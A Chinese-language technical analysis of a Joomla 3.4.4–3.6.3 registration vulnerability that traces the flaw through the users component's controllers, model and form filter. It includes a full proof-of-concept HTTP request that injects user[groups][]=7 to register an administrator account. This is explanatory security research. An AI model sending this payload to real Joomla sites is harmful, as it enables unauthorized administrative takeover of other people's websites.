漏洞环境
Joomla版本 3.44到3.63
漏洞说明
这个漏洞和CVE-2016-8869是姊妹篇的漏洞,但是这个漏洞比8869这个漏洞的思路更加巧妙,更有意思。这个漏洞本质也是与8869的这个漏洞差不多,都是出现在用户登陆注册的地方。
漏洞分析
整个漏洞还是和之前的8869的漏洞类似,都是出在components/com_users/controllers/user.php
中UsersControllerUser::register()
中。
请求包
首先通过一个请求包来分析UsersControllerUser::register()
的整个注册流程的处理。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50POST /joomla/index.php/component/users/?task=registration.register HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/joomla/index.php/component/users/?view=registration
Cookie: 【COOKIE】
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------596020006637
Content-Length: 1036
-----------------------------596020006637
Content-Disposition: form-data; name="user[name]"
spoock
-----------------------------596020006637
Content-Disposition: form-data; name="user[username]"
spoock
-----------------------------596020006637
Content-Disposition: form-data; name="user[password1]"
123456
-----------------------------596020006637
Content-Disposition: form-data; name="user[password2]"
123456
-----------------------------596020006637
Content-Disposition: form-data; name="user[email1]"
1@123.com
-----------------------------596020006637
Content-Disposition: form-data; name="user[email2]"
1@123.com
-----------------------------596020006637
Content-Disposition: form-data; name="option"
com_users
-----------------------------596020006637
Content-Disposition: form-data; name="task"
user.register
-----------------------------596020006637
Content-Disposition: form-data; name=【TOKEN】
1
-----------------------------596020006637--
上述使用【】
标注的COOKIE和TOKEN需要用户自定义,至于如何得到这两个值,整个上面文章已经做了十分详细的说明了,这里就不做解释。
register()
上述的POST请求会由components/com_users/controllers/user.php
中UsersControllerUser::register()
来进行处理。
程序就会运行到$model->register($data)
中。其中的$data就是POST data中的user
数组。
register($temp)
跟踪$model->regsiter($data)
方法components/com_users/models/registration.php
中的UsersModelRegistration::register($temp)
在对$temp进行foreach遍历之前,存在语句1
$data = (array) $this->getData();
这个就会存在$data变量,在通过$temp对$data进行赋值之前,在$data就就已经存在了内容,同时还有标识用户类型的数据。
如上图所示,其中的groups数组值为2,标识了此用户为普通用户。
注册成功
在完成了整个流程之后,就会注册一个普通用户。
PoC
在知道了是使用groups
数组来对用户进行标识,那么就可以直接在POST Data中加入groups
数组,将值设定为管理员的值(在joomla为7),那么就可以创建一个管理员用户了。
POST data
1 | POST /joomla/index.php/component/users/?task=registration.register HTTP/1.1 |
可以看到相比上一节中的POST请求,这个PoC中的POST请求增加了数据1
2
3
4-----------------------------596020006637
Content-Disposition: form-data; name="user[groups][]"
7
这个就是用来标识用户为管理员的数据。
在将$temp中的值赋值给$data之后通过调试,查看$temp和$data中的数据
可以看到,最后在$data中成功写入了groups
为7的值。
最后查看后台用户,发现已经注册成为了管理员。
正常注册
上述的分析,都是基于components/com_users/controllers/user.php
中UsersControllerUser::register()
来进行分析的。在页面上进行正常注册时,注册请求会发送到components/com_users/controllers/registration.php
中的UsersControllerRegistration::register()
中。
POST data
在POST data中,仅仅只需要添加groups即可。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54POST /joomla/index.php/component/users/?task=registration.register HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/joomla/index.php/component/users/?view=registration
Cookie:【COOKIE】
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------204296728662
Content-Length: 1036
-----------------------------204296728662
Content-Disposition: form-data; name="jform[name]"
spoock
-----------------------------204296728662
Content-Disposition: form-data; name="jform[username]"
spoock
-----------------------------204296728662
Content-Disposition: form-data; name="jform[password1]"
123456
-----------------------------204296728662
Content-Disposition: form-data; name="jform[password2]"
123456
-----------------------------204296728662
Content-Disposition: form-data; name="jform[email1]"
1@123.com
-----------------------------204296728662
Content-Disposition: form-data; name="jform[email2]"
1@123.com
-----------------------------204296728662
Content-Disposition: form-data; name="jform[groups][]"
7
-----------------------------204296728662
Content-Disposition: form-data; name="option"
com_users
-----------------------------204296728662
Content-Disposition: form-data; name="task"
registration.register
-----------------------------204296728662
Content-Disposition: form-data; name=【TOKEN】
1
-----------------------------204296728662--
register()
上述的请求最后会由components/com_users/controllers/registration.php
中的UsersControllerRegistration::register()
来进行处理,在其中同样会存在$return = $model->register($data);
语句。
diff
对比在UsersControllerRegistration
和UsersControllerUser
的register()
方法UsersControllerRegistration::register()
1
2
3
4
5
6
7public function register() {
//some php codes
$data = $model->validate($form, $requestData);
// some php codes
$return = $model->register($data);
//some php codes
}
UsersControllerUser::register()
1
2
3
4
5
6
7
8
9
10public function register() {
//some php codes
$return = $model->validate($form, $data);
// some php codes
$return = $model->register($data);
// some php codes
}
从两者的对比中可以看出,UsersControllerUser
中对data
进行了验证之后并没有使用返回之后的$return
而是仍然使用的是$data
。在UsersControllerRegistration
中对$requestData
进行了验证之后,使用的是返回之后的$data
。
validate
跟踪validate($form, $requestData)libraries/legacy/model/form.php
中的JModelForm::validate()
方法。
在传入的validate()中,存在两个参数,分别为$form和$data。
从图中可以看出$data
中是保存有groups
的值的。
在valiate中胡调用fliter()
函数对$data
进行处理。
filter
跟踪filter($data)libraries/joomla/form/form.php
中的JForm::filter()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40public function filter($data, $group = null) {
// Make sure there is a valid JForm XML document.
if (!($this->xml instanceof SimpleXMLElement))
{
return false;
}
$input = new Registry($data);
$output = new Registry;
// Get the fields for which to filter the data.
$fields = $this->findFieldsByGroup($group);
if (!$fields)
{
// PANIC!
return false;
}
// Filter the fields.
foreach ($fields as $field)
{
$name = (string) $field['name'];
// Get the field groups for the element.
$attrs = $field->xpath('ancestor::fields[@name]/@name');
$groups = array_map('strval', $attrs ? $attrs : array());
$group = implode('.', $groups);
$key = $group ? $group . '.' . $name : $name;
// Filter the value if it exists.
if ($input->exists($key))
{
$output->set($key, $this->filterField($field, $input->get($key, (string) $field['default'])));
}
}
return $output->toArray();
}
从上面的代码中可以看出,$data
最后转换成为了$input
。同时还存在$fileds
,是由程序产生$fields = $this->findFieldsByGroup($group);
。
最关键的是foreach循环中,如果$data
中的$key在$fields
中才会进行输出,但是最后通过单步调试调试,发现在$fileds
中并不存在$groups
,那么最后就过滤掉了groups
了。
所以通过正常的注册方式想要提升权限是不可能的。
后记
在本漏洞中存在的问题与8869的漏洞是一样的,注册用户之后需要通过邮件进行激活,所以这个漏洞实际上也很难发挥作用,修复方式也和8869漏洞的修复方式是一样的。
参考
Joomla未授权创建用户漏洞(CVE-2016-8870)分析 http://paper.seebug.org/88/